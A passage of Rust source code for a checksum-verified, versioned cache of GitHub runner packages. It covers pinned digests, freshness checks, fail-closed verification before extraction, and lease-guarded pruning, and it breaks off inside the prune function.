916            path: destination.to_path_buf(),
917            source,
918        })?;
919        Ok(written)
920    }
921}
922
923// ---------------------------------------------------------------------------
924// Pinned digests
925// ---------------------------------------------------------------------------
926
927/// Digests the operator has independently confirmed, keyed by version.
928///
929/// This is the *only* way a package with no published checksum is ever
930/// installed. It is a deliberate, named, per-version act by an operator — not a
931/// switch that turns verification off — which is the difference
932/// `05-infrastructure.md` draws between "require an operator-pinned digest" and
933/// "skip the check".
934#[derive(Debug, Clone, Default, PartialEq, Eq)]
935pub struct PinnedDigests(BTreeMap<RunnerVersion, Sha256Hex>);
936
937impl PinnedDigests {
938    #[must_use]
939    pub fn new() -> Self {
940        Self::default()
941    }
942
943    /// Pin `digest` for `version`.
944    ///
945    /// # Errors
946    /// [`PackageError::UnrecognisedVersion`] or
947    /// [`PackageError::MalformedDigest`] when either value is not well formed.
948    pub fn pin(mut self, version: &str, digest: &str) -> Result<Self, PackageError> {
949        self.0
950            .insert(RunnerVersion::parse(version)?, Sha256Hex::parse(digest)?);
951        Ok(self)
952    }
953
954    #[must_use]
955    pub fn get(&self, version: &RunnerVersion) -> Option<&Sha256Hex> {
956        self.0.get(version)
957    }
958
959    #[must_use]
960    pub fn is_empty(&self) -> bool {
961        self.0.is_empty()
962    }
963}
964
965// ---------------------------------------------------------------------------
966// Freshness
967// ---------------------------------------------------------------------------
968
969/// When a cached package stops being good enough.
970#[derive(Debug, Clone, Copy, PartialEq, Eq)]
971pub struct Freshness {
972    /// How far behind the latest release a cached entry may fall.
973    pub window: Elapsed,
974    /// How often the published version is re-checked.
975    pub check_interval: Elapsed,
976}
977
978impl Default for Freshness {
979    fn default() -> Self {
980        Self {
981            window: Elapsed::days(FRESHNESS_WINDOW_DAYS),
982            check_interval: Elapsed::hours(CHECK_INTERVAL_HOURS),
983        }
984    }
985}
986
987// ---------------------------------------------------------------------------
988// InstalledPackage
989// ---------------------------------------------------------------------------
990
991/// One immutable entry in the cache.
992#[derive(Debug, Clone, PartialEq, Eq)]
993pub struct InstalledPackage {
994    version: RunnerVersion,
995    root: PathBuf,
996    installed_at: Timestamp,
997    digest: Sha256Hex,
998}
999
1000impl InstalledPackage {
1001    #[must_use]
1002    pub fn version(&self) -> &RunnerVersion {
1003        &self.version
1004    }
1005
1006    /// The extracted package directory.
1007    ///
1008    /// **Read-only to the caller.** Every JIT runtime is a copy or a link from
1009    /// here (`05-infrastructure.md`), so a write into this directory reaches
1010    /// every runtime created afterwards. Nothing in this module can detect such
1011    /// a write after the fact; see the module documentation's seam contract.
1012    #[must_use]
1013    pub fn root(&self) -> &Path {
1014        &self.root
1015    }
1016
1017    /// When this entry landed. The freshness deadline runs from here — see
1018    /// [`PackageCache::is_stale`] for why install time is the honest proxy for
1019    /// the moment the version was superseded.
1020    #[must_use]
1021    pub const fn installed_at(&self) -> Timestamp {
1022        self.installed_at
1023    }
1024
1025    /// The digest that was verified before extraction.
1026    #[must_use]
1027    pub const fn digest(&self) -> &Sha256Hex {
1028        &self.digest
1029    }
1030}
1031
1032/// The on-disk manifest, written inside the staging directory so that it lands
1033/// with the entry in one rename.
1034#[derive(Debug, Clone, Serialize, Deserialize)]
1035struct Manifest {
1036    version: RunnerVersion,
1037    digest: Sha256Hex,
1038    installed_at: Timestamp,
1039    /// The published filename the entry was built from. Diagnostic only.
1040    filename: String,
1041}
1042
1043// ---------------------------------------------------------------------------
1044// PackageCache
1045// ---------------------------------------------------------------------------
1046
1047/// The ports [`PackageCache`] reaches the world through.
1048pub struct CachePorts {
1049    pub catalog: Arc<dyn DownloadCatalog>,
1050    pub fetcher: Arc<dyn PackageFetcher>,
1051    pub backoff: Arc<dyn Backoff>,
1052    pub clock: Arc<dyn Clock>,
1053}
1054
1055impl fmt::Debug for CachePorts {
1056    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1057        f.debug_struct("CachePorts")
1058            .field("catalog", &self.catalog)
1059            .field("fetcher", &self.fetcher)
1060            .field("backoff", &self.backoff)
1061            .field("clock", &self.clock)
1062            .finish()
1063    }
1064}
1065
1066/// The versioned, immutable, checksum-verified runner package cache.
1067#[derive(Debug)]
1068pub struct PackageCache {
1069    root: PathBuf,
1070    tool_cache: PathBuf,
1071    os: Os,
1072    arch: Arch,
1073    ports: CachePorts,
1074    pins: PinnedDigests,
1075    freshness: Freshness,
1076    retry_budget: u32,
1077    /// When the published version was last resolved successfully.
1078    ///
1079    /// Held in memory rather than on disk on purpose: a restart forcing a
1080    /// re-check is the *correct* behaviour — the agent has no idea how long it
1081    /// was down — so persisting this would only buy the ability to skip a check
1082    /// that should not be skipped.
1083    last_check: Mutex<Option<Timestamp>>,
1084}
1085
1086impl PackageCache {
1087    /// Build a cache rooted under `paths`, for a host running `os`/`arch`.
1088    ///
1089    /// `os` and `arch` are parameters rather than probed here, following
1090    /// `d1`'s pattern: `runner_manager_platform::os::detect_host` is called once
1091    /// at the composition edge, and everything below takes the pair as a value.
1092    /// That is the whole injection seam — there is no host-probe trait — and it
1093    /// is what lets a Linux CI leg exercise the Windows selection path.
1094    #[must_use]
1095    pub fn new(paths: &AppPaths, os: Os, arch: Arch, ports: CachePorts) -> Self {
1096        Self {
1097            root: paths.state_dir().join(PACKAGES_DIR),
1098            tool_cache: paths.state_dir().join(TOOL_CACHE_DIR),
1099            os,
1100            arch,
1101            ports,
1102            pins: PinnedDigests::new(),
1103            freshness: Freshness::default(),
1104            retry_budget: RETRY_BUDGET,
1105            last_check: Mutex::new(None),
1106        }
1107    }
1108
1109    #[must_use]
1110    pub fn with_pins(mut self, pins: PinnedDigests) -> Self {
1111        self.pins = pins;
1112        self
1113    }
1114
1115    #[must_use]
1116    pub const fn with_freshness(mut self, freshness: Freshness) -> Self {
1117        self.freshness = freshness;
1118        self
1119    }
1120
1121    /// Override the retry budget. Zero is rejected in favour of one attempt,
1122    /// because a cache that never attempts anything is not a cache.
1123    #[must_use]
1124    pub const fn with_retry_budget(mut self, budget: u32) -> Self {
1125        self.retry_budget = if budget == 0 { 1 } else { budget };
1126        self
1127    }
1128
1129    /// The cache root. Nothing outside this module writes here.
1130    #[must_use]
1131    pub fn root(&self) -> &Path {
1132        &self.root
1133    }
1134
1135    /// Where approved tool caches are retained.
1136    ///
1137    /// A sibling of the package entries, not a child: an entry is immutable and
1138    /// a tool cache is by definition written to. Both are retained across
1139    /// attempts, and both are outside [`AppPaths::runtime_dir`], which is where
1140    /// disposable job workspaces live — that is the separation
1141    /// `05-infrastructure.md` asks for.
1142    #[must_use]
1143    pub fn tool_cache_dir(&self) -> &Path {
1144        &self.tool_cache
1145    }
1146
1147    // -- installation ------------------------------------------------------
1148
1149    /// Install the published package afresh, setting every entry aside first.
1150    ///
1151    /// For a caller that cannot trust what is on disk. An entry is owned by the
1152    /// account runners execute as, so a job can rewrite it, and the published
1153    /// digest covers the archive rather than the extracted tree, so nothing can
1154    /// re-verify an entry after the fact. What this returns was downloaded and
1155    /// checked against GitHub's digest by this call, and it is the only entry
1156    /// left. The entries set aside are removed once it returns.
1157    ///
1158    /// The install is forced: an entry that reappears at the published
1159    /// version's path while this runs, as one a job recreated would, is set
1160    /// aside in turn rather than adopted.
1161    ///
1162    /// # Errors
1163    /// Those of [`Self::ensure_installed`], and an I/O failure setting an entry
1164    /// aside. Either way the cache may now be empty, which the next launch's
1165    /// install repairs.
1166    pub async fn reinstall(&self) -> Result<InstalledPackage, PackageError> {
1167        let staging_root = self.staging_root();
1168        create_dir_all(&staging_root)?;
1169        let mut set_aside = Vec::new();
1170        for entry in self.installed()? {
1171            set_aside.push(self.set_aside(entry.root())?);
1172        }
1173        let installed = self.install(true).await;
1174        // Removing ~9,000 files per tree is blocking work, kept off the
1175        // daemon's current-thread runtime.
1176        let _ = tokio::task::spawn_blocking(move || drop(set_aside)).await;
1177        installed.map(|(package, _)| package)
1178    }
1179
1180    /// Move `root` into staging, to be removed when the guard drops.
1181    fn set_aside(&self, root: &Path) -> Result<StagingGuard, PackageError> {
1182        let aside = self
1183            .staging_root()
1184            .join(format!("untrusted-{}", uuid::Uuid::new_v4()));
1185        fs::rename(root, &aside).map_err(|source| PackageError::Io {
1186            what: "set aside a runner package to reinstall it",
1187            path: root.to_path_buf(),
1188            source,
1189        })?;
1190        Ok(StagingGuard::new(aside))
1191    }
1192
1193    /// Make a verified runner package available, and answer which one.
1194    ///
1195    /// **This is the cold-start path.** It decides three things in order:
1196    ///
1197    /// 1. Is this host one the product documents? An undocumented pair is
1198    ///    refused here, before the catalog is consulted and long before
1199    ///    anything is downloaded.
1200    /// 2. Is a check due? The published version is re-checked on
1201    ///    [`Freshness::check_interval`], and always when the cache is empty. A
1202    ///    cold start inside that interval reuses what a previous one resolved,
1203    ///    which is what "a bounded interval" buys.
1204    /// 3. Is what we hold still good enough? See [`Self::is_stale`].
1205    ///
1206    /// # Errors
1207    /// Any [`PackageError`]. A terminal one is returned on the spot and spends
1208    /// none of the retry budget; a retryable one is retried up to
1209    /// [`Self::with_retry_budget`] times and then wrapped in
1210    /// [`PackageError::Exhausted`].
1211    pub async fn ensure_installed(&self) -> Result<InstalledPackage, PackageError> {
1212        self.ensure_installed_reporting()
1213            .await
1214            .map(|(package, _)| package)
1215    }
1216
1217    /// [`Self::ensure_installed`], and whether this call downloaded, verified
1218    /// and committed the entry it returns rather than finding one on disk.
1219    ///
1220    /// # Errors
1221    /// Those of [`Self::ensure_installed`].
1222    pub async fn ensure_installed_reporting(
1223        &self,
1224    ) -> Result<(InstalledPackage, bool), PackageError> {
1225        self.install(false).await
1226    }
1227
1228    /// The body of [`Self::ensure_installed`]; `force` skips every reuse of an
1229    /// entry already on disk, for [`Self::reinstall`].
1230    async fn install(&self, force: bool) -> Result<(InstalledPackage, bool), PackageError> {
1231        // Before the catalog, before the fetcher, before anything touches the
1232        // network: an unsupported pair has no package and never will.
1233        host_os::validate(self.os, self.arch)?;
1234
1235        let now = self.ports.clock.now();
1236        if !force
1237            && !self.check_is_due(now)?
1238            && let Some(entry) = self.newest_installed()?
1239        {
1240            return Ok((entry, false));
1241        }
1242
1243        let mut last: Option<PackageError> = None;
1244        for attempt in 1..=self.retry_budget {
1245            match self.install_once(force).await {
1246                Ok(package) => {
1247                    *self
1248                        .last_check
1249                        .lock()
1250                        .unwrap_or_else(std::sync::PoisonError::into_inner) =
1251                        Some(self.ports.clock.now());
1252                    return Ok(package);
1253                }
1254                Err(error) if error.is_terminal() => return Err(error),
1255                Err(error) => {
1256                    last = Some(error);
1257                    if attempt < self.retry_budget {
1258                        self.ports.backoff.wait(attempt).await;
1259                    }
1260                }
1261            }
1262        }
1263        Err(PackageError::Exhausted {
1264            attempts: self.retry_budget,
1265            source: Box::new(last.expect("a spent budget leaves a failure behind")),
1266        })
1267    }
1268
1269    /// Whether a cached entry has fallen outside the freshness window.
1270    ///
1271    /// # Why install time, and why this is the fail-closed direction
1272    ///
1273    /// GitHub's rule is about the *release*: a runner more than
1274    /// [`FRESHNESS_WINDOW_DAYS`] days behind the latest one is refused. The
1275    /// agent cannot see release dates — GitHub's runner-downloads response
1276    /// carries no version field, let alone a publication timestamp — so the
1277    /// supersession moment has to be bounded rather than read.
1278    ///
1279    /// It can be bounded exactly. This cache only ever installs the version
1280    /// GitHub was publishing at the time, so an entry installed at `T` *was*
1281    /// the latest release at `T`. Whatever superseded it did so at some
1282    /// `R >= T`, hence `now - R <= now - T`. So:
1283    ///
1284    /// * `now - T <= window` proves `now - R <= window`: the entry cannot be
1285    ///   past the deadline, and reusing it is safe.
1286    /// * `now - T > window` proves nothing either way, so the entry is treated
1287    ///   as stale and refreshed.
1288    ///
1289    /// The error is therefore always toward refreshing early, never toward
1290    /// running a package GitHub will refuse. Refreshing early costs a download;
1291    /// refreshing late costs every job on the host, for a reason the operator
1292    /// has no way to guess.
1293    #[must_use]
1294    pub fn is_stale(&self, package: &InstalledPackage, now: Timestamp) -> bool {
1295        now.signed_duration_since(package.installed_at) > self.freshness.window
1296    }
1297
1298    /// Whether the published version is due to be re-checked.
1299    ///
1300    /// Three ways to answer yes, and the third is the one that matters:
1301    ///
1302    /// 1. The cache is empty, so there is nothing to reuse.
1303    /// 2. [`Freshness::check_interval`] has elapsed — the bounded interval
1304    ///    `05-infrastructure.md` asks for.
1305    /// 3. **What we hold is already past the freshness deadline.** A stale entry
1306    ///    forces a check on every cold start regardless of the interval, because
1307    ///    the interval exists to save REST budget and there is no budget worth
1308    ///    saving once the package on disk is one GitHub may refuse. The interval
1309    ///    being far shorter than the window makes this rare in practice; it is
1310    ///    written down so that the rare case is the safe one rather than the
1311    ///    unconsidered one.
1312    fn check_is_due(&self, now: Timestamp) -> Result<bool, PackageError> {
1313        let Some(newest) = self.newest_installed()? else {
1314            return Ok(true);
1315        };
1316        if self.is_stale(&newest, now) {
1317            return Ok(true);
1318        }
1319        let last = *self
1320            .last_check
1321            .lock()
1322            .unwrap_or_else(std::sync::PoisonError::into_inner);
1323        Ok(match last {
1324            None => true,
1325            Some(at) => now.signed_duration_since(at) >= self.freshness.check_interval,
1326        })
1327    }
1328
1329    /// One attempt: resolve, decide, and install if a download is warranted.
1330    async fn install_once(&self, force: bool) -> Result<(InstalledPackage, bool), PackageError> {
1331        let published = self.ports.catalog.published().await?;
1332
1333        // Selection: this host's OS and architecture, from GitHub's metadata.
1334        // `select` answering `None` is refused rather than fallen back from —
1335        // a hardcoded URL is the substitution `07-security.md` names as the
1336        // threat.
1337        let download =
1338            published
1339                .select(self.os, self.arch)
1340                .ok_or(PackageError::NoPackagePublished {
1341                    os: self.os,
1342                    arch: self.arch,
1343                })?;
1344        let version = RunnerVersion::from_filename(&download.filename)?;
1345
1346        // Already held: no fetch, no extraction, no rewrite.
1347        if !force && let Some(entry) = self.entry(&version)? {
1348            return Ok((entry, false));
1349        }
1350
1351        // A different version is published. Whether that warrants 150-300 MB is
1352        // the freshness question, and only that question.
1353        let now = self.ports.clock.now();
1354        if !force
1355            && let Some(newest) = self.newest_installed()?
1356            && !self.is_stale(&newest, now)
1357        {
1358            return Ok((newest, false));
1359        }
1360
1361        let digest = self.required_digest(download, &version)?;
1362        self.download_verify_and_install(download, &version, &digest, now, force)
1363            .await
1364    }
1365
1366    /// The digest that must match, or a refusal.
1367    ///
1368    /// This is the fail-closed gate. `sha256_checksum` is optional in GitHub's
1369    /// schema, and the only two acceptable outcomes when it is unusable are an
1370    /// operator-pinned digest or a refusal to install. There is no third.
1371    ///
1372    /// # Every unusable shape routes to the same remedy
1373    ///
1374    /// Absent, empty, and *malformed* are all "GitHub did not give me a digest
1375    /// I can check", and all three fall through to the pin. Malformed used to
1376    /// return immediately instead, which produced a refusal whose message told
1377    /// the operator to pin a digest — down a path where a pin was never
1378    /// consulted. A security refusal that names a remedy has to name one that
1379    /// works, or the operator does the work and watches it fail again.
1380    fn required_digest(
1381        &self,
1382        download: &RunnerDownload,
1383        version: &RunnerVersion,
1384    ) -> Result<Sha256Hex, PackageError> {
1385        let published = match download.sha256_checksum() {
1386            None => PublishedChecksum::Absent,
1387            Some(raw) if raw.trim().is_empty() => PublishedChecksum::Empty,
1388            Some(raw) => match Sha256Hex::parse(raw) {
1389                Ok(digest) => return Ok(digest),
1390                Err(_) => PublishedChecksum::Malformed,
1391            },
1392        };
1393        #[cfg(test)]
1394        if std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref() == Ok("accept_missing_checksum") {
1395            return Sha256Hex::parse(&"00".repeat(32));
1396        }
1397        match self.pins.get(version) {
1398            Some(pinned) => Ok(pinned.clone()),
1399            None => Err(PackageError::ChecksumAbsent {
1400                version: version.clone(),
1401                os: self.os,
1402                arch: self.arch,
1403                published,
1404            }),
1405        }
1406    }
1407
1408    /// Fetch, verify, extract, commit. In that order, without exception.
1409    ///
1410    /// # Why the downloaded file is not inside the guarded staging directory
1411    ///
1412    /// [`StagingGuard`] covers the *extraction* directory from the point the
1413    /// archive has been verified and unpacked to the point the entry lands —
1414    /// the manifest write and the rename. It does **not** cover a fetch,
1415    /// verification or extraction failure: the guard is not constructed until
1416    /// after those succeed, so a half-unpacked tree from one of them is left
1417    /// for [`Self::sweep_staging`] rather than unwound here. That is a
1418    /// deliberately narrow reach, and stating it wider than it is would be the
1419    /// sort of claim a reader relies on and a crash disproves.
1420    ///
1421    /// Putting the download under that directory would have made "the partially
1422    /// downloaded file is removed" true for a reason no test could distinguish
1423    /// from tidying up — the guard would remove the archive on the paths it
1424    /// does cover, whether or not the mismatch path ever did, so deleting the
1425    /// removal would not turn any test red. The archive therefore lives
1426    /// beside the extraction directory with its lifetime managed explicitly, at
1427    /// exactly one place below, and [`Self::sweep_staging`] is the backstop for
1428    /// a crash rather than the mechanism.
1429    async fn download_verify_and_install(
1430        &self,
1431        download: &RunnerDownload,
1432        version: &RunnerVersion,
1433        expected: &Sha256Hex,
1434        now: Timestamp,
1435        force: bool,
1436    ) -> Result<(InstalledPackage, bool), PackageError> {
1437        let (_, kind) = ArchiveKind::split(&download.filename)?;
1438        let staging_root = self.staging_root();
1439        create_dir_all(&staging_root)?;
1440        let token = uuid::Uuid::new_v4();
1441        let archive = staging_root.join(format!("download-{token}.archive"));
1442        let extracted = staging_root.join(token.to_string());
1443
1444        let outcome = self
1445            .fetch_verify_extract(download, version, expected, kind, &archive, &extracted)
1446            .await;
1447
1448        // The downloaded file is not part of an entry on ANY path out of here —
1449        // verified, unverified, or interrupted mid-extraction. One removal,
1450        // reached unconditionally, is what makes that a property rather than a
1451        // hope spread over four early returns.
1452        let removed = remove_file_if_present(&archive, "remove the package download");
1453        let () = outcome?;
1454        removed?;
1455
1456        let guard = StagingGuard::new(extracted.clone());
1457        let manifest = Manifest {
1458            version: version.clone(),
1459            digest: expected.clone(),
1460            installed_at: now,
1461            filename: download.filename.clone(),
1462        };
1463        write_json(&extracted.join(MANIFEST_FILE), &manifest)?;
1464
1465        let target = self.version_dir(version);
1466        create_dir_all(&self.root)?;
1467
1468        // A forced install trusts nothing already at the target, which a job
1469        // may have put there since the reinstall set the old entries aside.
1470        let _displaced = if force && fs::symlink_metadata(&target).is_ok() {
1471            Some(self.set_aside(&target)?)
1472        } else {
1473            None
1474        };
1475
1476        // The single commit point. `rename` onto an existing directory fails on
1477        // Windows and replaces nothing on Unix, and either way the answer is the
1478        // same: someone already installed this version, and an installed entry
1479        // is never overwritten. A forced install adopts nothing and fails.
1480        match fs::rename(&extracted, &target) {
1481            Ok(()) => {}
1482            Err(source) => {
1483                if !force && let Some(entry) = self.entry(version)? {
1484                    guard.disarm_into_sweep();
1485                    return Ok((entry, false));
1486                }
1487                return Err(PackageError::Io {
1488                    what: "commit the extracted runner package",
1489                    path: target,
1490                    source,
1491                });
1492            }
1493        }
1494        guard.disarm_into_sweep();
1495
1496        Ok((
1497            InstalledPackage {
1498                version: version.clone(),
1499                root: target,
1500                installed_at: now,
1501                digest: expected.clone(),
1502            },
1503            true,
1504        ))
1505    }
1506
1507    /// Everything between the fetch and the commit: the ordering this module
1508    /// exists to enforce.
1509    ///
1510    /// Split out from its caller so that the downloaded file has exactly one
1511    /// removal site regardless of which of these steps failed.
1512    async fn fetch_verify_extract(
1513        &self,
1514        download: &RunnerDownload,
1515        version: &RunnerVersion,
1516        expected: &Sha256Hex,
1517        kind: ArchiveKind,
1518        archive: &Path,
1519        extracted: &Path,
1520    ) -> Result<(), PackageError> {
1521        self.ports
1522            .fetcher
1523            .fetch(&download.download_url, archive)
1524            .await?;
1525
1526        // Verification, before extraction. Nothing between these two statements
1527        // may ever unpack anything.
1528        let archive_for_hash = archive.to_path_buf();
1529        let actual = tokio::task::spawn_blocking(move || sha256_file(&archive_for_hash))
1530            .await
1531            .map_err(|error| PackageError::Extract {
1532                detail: format!("the verification task failed: {error}"),
1533            })??;
1534
1535        #[cfg(test)]
1536        let checksum_matches = std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref()
1537            == Ok("skip_checksum_comparison")
1538            || actual == *expected;
1539        #[cfg(not(test))]
1540        let checksum_matches = actual == *expected;
1541        if !checksum_matches {
1542            return Err(PackageError::ChecksumMismatch {
1543                version: version.clone(),
1544                expected: expected.clone(),
1545                actual,
1546            });
1547        }
1548
1549        let archive_for_extract = archive.to_path_buf();
1550        let extracted_for_task = extracted.to_path_buf();
1551        tokio::task::spawn_blocking(move || {
1552            extract(&archive_for_extract, kind, &extracted_for_task)
1553        })
1554        .await
1555        .map_err(|error| PackageError::Extract {
1556            detail: format!("the extraction task failed: {error}"),
1557        })?
1558    }
1559
1560    // -- reading the cache -------------------------------------------------
1561
1562    fn version_dir(&self, version: &RunnerVersion) -> PathBuf {
1563        self.root.join(version.as_str())
1564    }
1565
1566    /// One entry, if it is installed and complete.
1567    ///
1568    /// A directory with no readable manifest is *not* an entry: the manifest
1569    /// lands with the directory in a single rename, so its absence means the
1570    /// directory was not produced by this module and nothing may be assumed
1571    /// about its contents.
1572    ///
1573    /// # Errors
1574    /// [`PackageError::Io`] when the cache cannot be read.
1575    pub fn entry(&self, version: &RunnerVersion) -> Result<Option<InstalledPackage>, PackageError> {
1576        let root = self.version_dir(version);
1577        if !root.is_dir() {
1578            return Ok(None);
1579        }
1580        let Some(manifest) = read_json::<Manifest>(&root.join(MANIFEST_FILE))? else {
1581            return Ok(None);
1582        };
1583        Ok(Some(InstalledPackage {
1584            version: manifest.version,
1585            root,
1586            installed_at: manifest.installed_at,
1587            digest: manifest.digest,
1588        }))
1589    }
1590
1591    /// Every complete entry, oldest version first.
1592    ///
1593    /// # Errors
1594    /// [`PackageError::Io`] when the cache directory cannot be read.
1595    pub fn installed(&self) -> Result<Vec<InstalledPackage>, PackageError> {
1596        let mut found = Vec::new();
1597        let entries = match fs::read_dir(&self.root) {
1598            Ok(entries) => entries,
1599            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(found),
1600            Err(source) => {
1601                return Err(PackageError::Io {
1602                    what: "read the runner package cache",
1603                    path: self.root.clone(),
1604                    source,
1605                });
1606            }
1607        };
1608        for entry in entries {
1609            let entry = entry.map_err(|source| PackageError::Io {
1610                what: "read the runner package cache",
1611                path: self.root.clone(),
1612                source,
1613            })?;
1614            let name = entry.file_name();
1615            let Some(name) = name.to_str() else { continue };
1616            // `.staging` and `.leases` are not versions, and `RunnerVersion`
1617            // could not parse them anyway; skipping them explicitly keeps the
1618            // intent visible.
1619            if name.starts_with('.') {
1620                continue;
1621            }
1622            let Ok(version) = RunnerVersion::parse(name) else {
1623                continue;
1624            };
1625            if let Some(package) = self.entry(&version)? {
1626                found.push(package);
1627            }
1628        }
1629        found.sort_by(|a, b| a.version.cmp(&b.version));
1630        Ok(found)
1631    }
1632
1633    /// The most recently installed entry, which is the one a cold start reuses.
1634    fn newest_installed(&self) -> Result<Option<InstalledPackage>, PackageError> {
1635        Ok(self
1636            .installed()?
1637            .into_iter()
1638            .max_by_key(|package| package.installed_at))
1639    }
1640
1641    // -- leases and pruning ------------------------------------------------
1642
1643    fn leases_dir(&self) -> PathBuf {
1644        self.root.join(LEASES_DIR)
1645    }
1646
1647    fn lease_path(&self, attempt: AttemptId) -> PathBuf {
1648        self.leases_dir()
1649            .join(format!("{attempt}.{LEASE_EXTENSION}"))
1650    }
1651
1652    /// Record that `attempt` holds `version`, so a prune cannot remove it.
1653    ///
1654    /// Two refusals, both structural:
1655    ///
1656    /// * A version that is not installed cannot be held.
1657    /// * An attempt whose runtime directory is **inside the cache root** is
1658    ///   refused outright. Job workspaces are disposable and per-attempt; a
1659    ///   package entry is shared and immutable. A workspace nested in one would
1660    ///   be destroyed the moment that version was pruned, and would mutate an
1661    ///   entry that every other runtime is copied from. This is checked rather
1662    ///   than documented because a documented invariant with no enforcement is
1663    ///   how the property silently stops holding.
1664    ///
1665    /// The lease survives a restart — it is a file, not a field — which is what
1666    /// makes the guard meaningful across the agent's own lifetime.
1667    ///
1668    /// # Errors
1669    /// [`PackageError::NotInstalled`], [`PackageError::WorkspaceInsideCache`],
1670    /// or [`PackageError::Io`].
1671    pub fn lease(
1672        &self,
1673        attempt: &RunnerAttempt,
1674        version: &RunnerVersion,
1675    ) -> Result<(), PackageError> {
1676        if self.entry(version)?.is_none() {
1677            return Err(PackageError::NotInstalled {
1678                version: version.clone(),
1679            });
1680        }
1681        let runtime = attempt.runtime_path();
1682        if is_inside(&self.root, runtime) {
1683            return Err(PackageError::WorkspaceInsideCache {
1684                attempt: attempt.id,
1685                path: runtime.to_path_buf(),
1686            });
1687        }
1688        create_dir_all(&self.leases_dir())?;
1689        write_json(
1690            &self.lease_path(attempt.id),
1691            &Lease {
1692                version: version.clone(),
1693            },
1694        )
1695    }
1696
1697    /// Drop `attempt`'s hold, whatever it was holding.
1698    ///
1699    /// Idempotent: releasing a lease that was never taken is not an error, so a
1700    /// cleanup path may call it unconditionally.
1701    ///
1702    /// # Errors
1703    /// [`PackageError::Io`] when the lease file cannot be removed.
1704    pub fn release(&self, attempt: AttemptId) -> Result<(), PackageError> {
1705        let path = self.lease_path(attempt);
1706        match fs::remove_file(&path) {
1707            Ok(()) => Ok(()),
1708            Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
1709            Err(source) => Err(PackageError::Io {
1710                what: "release a runner package lease",
1711                path,
1712                source,
1713            }),
1714        }
1715    }
1716
1717    /// Every attempt currently holding `version`.
1718    ///
1719    /// # Errors
1720    /// [`PackageError::Io`] when the lease directory cannot be read.
1721    pub fn holders(&self, version: &RunnerVersion) -> Result<Vec<AttemptId>, PackageError> {
1722        let mut holders = Vec::new();
1723        let dir = self.leases_dir();
1724        let entries = match fs::read_dir(&dir) {
1725            Ok(entries) => entries,
1726            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(holders),
1727            Err(source) => {
1728                return Err(PackageError::Io {
1729                    what: "read the runner package leases",
1730                    path: dir,
1731                    source,
1732                });
1733            }
1734        };
1735        for entry in entries {
1736            let entry = entry.map_err(|source| PackageError::Io {
1737                what: "read the runner package leases",
1738                path: dir.clone(),
1739                source,
1740            })?;
1741            let path = entry.path();
1742            if path.extension().and_then(|e| e.to_str()) != Some(LEASE_EXTENSION) {
1743                continue;
1744            }
1745            // Everything below refuses rather than skips.
1746            //
1747            // A `.lease` file this module cannot make sense of is not "no
1748            // lease" — it is a lease whose holder is unknown, and treating the
1749            // two alike is the one fail-OPEN path in an otherwise fail-closed
1750            // guard. It would also be among the easiest to reach: a lease is
1751            // written non-atomically, so a crash mid-write leaves exactly this
1752            // shape, and the consequence is deleting the package a live runner
1753            // is executing from.
1754            if let Some(holder) = holder_of(&path, version)? {
1755                holders.push(holder);
1756            }
1757        }
1758        holders.sort_unstable();
1759        Ok(holders)
1760    }
1761
1762    /// Remove a cached version, if nothing active still references it.
1763    ///
1764    /// `attempts` is the host's attempt set — the same set
1765    /// `RunnerLauncher::attempts` answers, terminal entries included, because
1766    /// both questions are asked of one set. Each lease on `version` is resolved
1767    /// against it:
1768    ///
1769    /// | Lease's attempt | Outcome |
1770    /// |---|---|
1771    /// | present and non-terminal | **refused** — [`PackageError::VersionInUse`] |
1772    /// | present and terminal | released, and the prune proceeds |
1773    /// | absent from the set | **refused** — [`PackageError::VersionHeldByUnknownAttempt`] |
1774    ///
1775    /// # Why an absent attempt refuses rather than releases
1776    ///
1777    /// It would be tidier to read "not in the set" as "gone", and it would be
1778    /// wrong. `e1` documents that a launcher's newly created attempt may not be
1779    /// visible to `attempts()` yet — a journal write that has not landed, an
1780    /// asynchronous store, a cache — and that lag is exactly the window in
1781    /// which a just-leased version would look unreferenced. Deleting a package
1782    /// out from under a starting runner is not a condition the runner can
1783    /// report intelligibly, so the ambiguous case fails closed. The cost is a
1784    /// version that stays on disk until [`Self::release`] is called for a lease
1785    /// nobody will ever release; the error names that remedy.
1786    ///
1787    /// **The guard is only as truthful as the caller's leases.** This function
1788    /// can refuse to prune something it knows is held; it cannot discover a
1789    /// reference nobody recorded. See the module documentation's seam contract.
1790    ///
1791    /// # A window this function does not close, recorded deliberately
1792    ///
1793    /// [`Self::lease`] and this method both take `&self` on a `Send + Sync`
1794    /// type and take no lock between them. A `lease` that passes its own
1795    /// `entry()` check can therefore be written *after* this method has read
1796    /// [`Self::holders`] and *before* it removes the directory, leaving a live
1797    /// attempt holding a package that is gone. Nothing here detects that.
1798    ///
1799    /// **What makes it safe is `e1`'s host allocation lock, and nothing this
1800    /// module could add.** A `Mutex` of its own would not help, and saying it
1801    /// was declined merely to avoid "a second ordering to get wrong" overstated
1802    /// the alternative: a leaf mutex taken and released inside two synchronous
1803    /// `&self` methods cannot span the caller's decide-then-launch sequence, so
1804    /// it could not order a lease against a prune even in principle. The window
1805    /// is between *callers*, and only a lock the caller already holds across
1806    /// both can close it.
1807    ///
1808    /// So the requirement is on the caller: **prune under the same host-wide
1809    /// allocation lock a launch is taken under.** That lock already serialises
1810    /// the launch that takes a lease, which makes this method's
1811    /// read-then-remove indivisible with respect to every lease this agent
1812    /// creates. It says nothing about a second agent on the same machine; the
1813    /// single-instance lock is what prevents that.
1814    ///
1815    /// Stated rather than silently assumed, and stated here rather than
1816    /// enforced, which is a weaker position than this module takes at
1817    /// [`Self::lease`] — where the note argues that a documented invariant with
1818    /// no enforcement is how a property silently stops holding. The difference
1819    /// is that `lease` can check its invariant from inside a single call and
1820    /// this one cannot: the lock that would close this window is not this
1821    /// module's to take.
1822    ///
1823    /// # Errors
1824    /// [`PackageError::VersionInUse`],
1825    /// [`PackageError::VersionHeldByUnknownAttempt`],
1826    /// [`PackageError::NotInstalled`], or [`PackageError::Io`].
1827    pub(crate) fn prune(
1828        &self,
1829        version: &RunnerVersion,
1830        attempts: &[RunnerAttempt],
1831    ) -> Result<(), PackageError> {
1832        if self.entry(version)?.is_none() {
1833            return Err(PackageError::NotInstalled {
